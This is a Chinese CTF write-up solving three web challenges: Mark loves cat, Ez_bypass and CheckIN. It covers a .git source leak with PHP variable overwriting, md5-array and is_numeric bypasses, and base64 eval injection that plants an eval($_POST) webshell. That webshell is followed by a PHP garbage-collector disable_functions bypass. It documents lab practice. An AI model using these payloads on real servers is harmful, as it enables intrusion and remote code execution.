buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN
[BJDCTF2020]Mark loves cat
进入题目是一个博客首页
点了半天没找到可以利用的点,用dirsearch扫一下
扫到.git目录,用Githack把源码down下来
看一下关键代码
//flag.php
<?php
$flag = file_get_contents('/flag');
//index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
index.php会先对post和get传递的数据进行遍历赋值,然后有三个if判断,都绕过了就会输出flag,开始我绕了半天,一直没绕过去。后面我又重新想了一下,在那三个判断里会exit出其他变量,如果我在赋值阶段,将flag变量赋给exit的变量,那么是不是就可以获取flag了。
没错,就这么简单,分析一下流程
foreach($_GET as $x => $y){
$$x = $$y;
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
这里用到的是这两部分,首先看到遍历部分。遍历部分用$x存储我们get传递进去的数据的键名,$y存储值。
我的payload是yds=flag,那么此时$x=yds,$y=flag,然后就是赋值了
$$x=$$y //$x=yds,$y=flag
所以这个语句等价于
$yds=$flag
然后再看判断,如果不存在get和post传递的flag参数,就退出并输出$yds,而此时的$yds等于$flag,就拿到了flag
[MRCTF2020]Ez_bypass
进题目就是一堆代码,进源码看下
这样就好看多了。
第一层
if (md5($id) === md5($gg) && $id !== $gg)
用数组绕过
?id[]=1&gg[]=2
第二层
if (!is_numeric($passwd))
{
if($passwd==1234567)
passwd不是数字且等于123456,老生常谈的绕过
passwd=1234567a
跑一下
拿下
[GKCTF2020]CheckIN
源码
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
乍一看以为是反序列化,但是没找到反序列化函数,然后又审了一下代码。
代码定义了一个ClassName类,有$code和$decode属性,以及__construct()和x()两个方法。在__construct()中,调用x()为$code赋值,又将$code base64解码后赋给$decode,然后用eval函数执行$decode。再看x(),x()就是返回我们传递的数据。
ok,那么思路就很明确了,我们应该传递一个名为Ginkgo的参数,其值为我们想要执行的代码的base64编码。
试一下phpinfo
成功,试着执行命令
无回显,然后我又去看了一下phpinfo,发现了这个
disable_function ! ! !
那就要绕过df才行了,先写个马
Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw== //eval($_POST[1]);
用蚁剑连接
在根目录发现/flag,打开发现是空白,还有一个/readflag,打开是乱码
因为有disable_function,所以也没法用命令行。
在github上找到了大佬绕过disbale_function的脚本
php_bypass_disable_function
里面有三个脚本,找适用于当前环境php版本的脚本,这题是php 7.3.18,我就用的php-gc-bypass这个脚本。这个脚本利用的是PHP garbage collector程序中的堆溢出触发来执行命令(大佬tql)。
这就是你要执行的命令。改成/readflag
发现tmp目录是777权限,将脚本上传到该目录,然后去包含这个文件。
成功拿到flag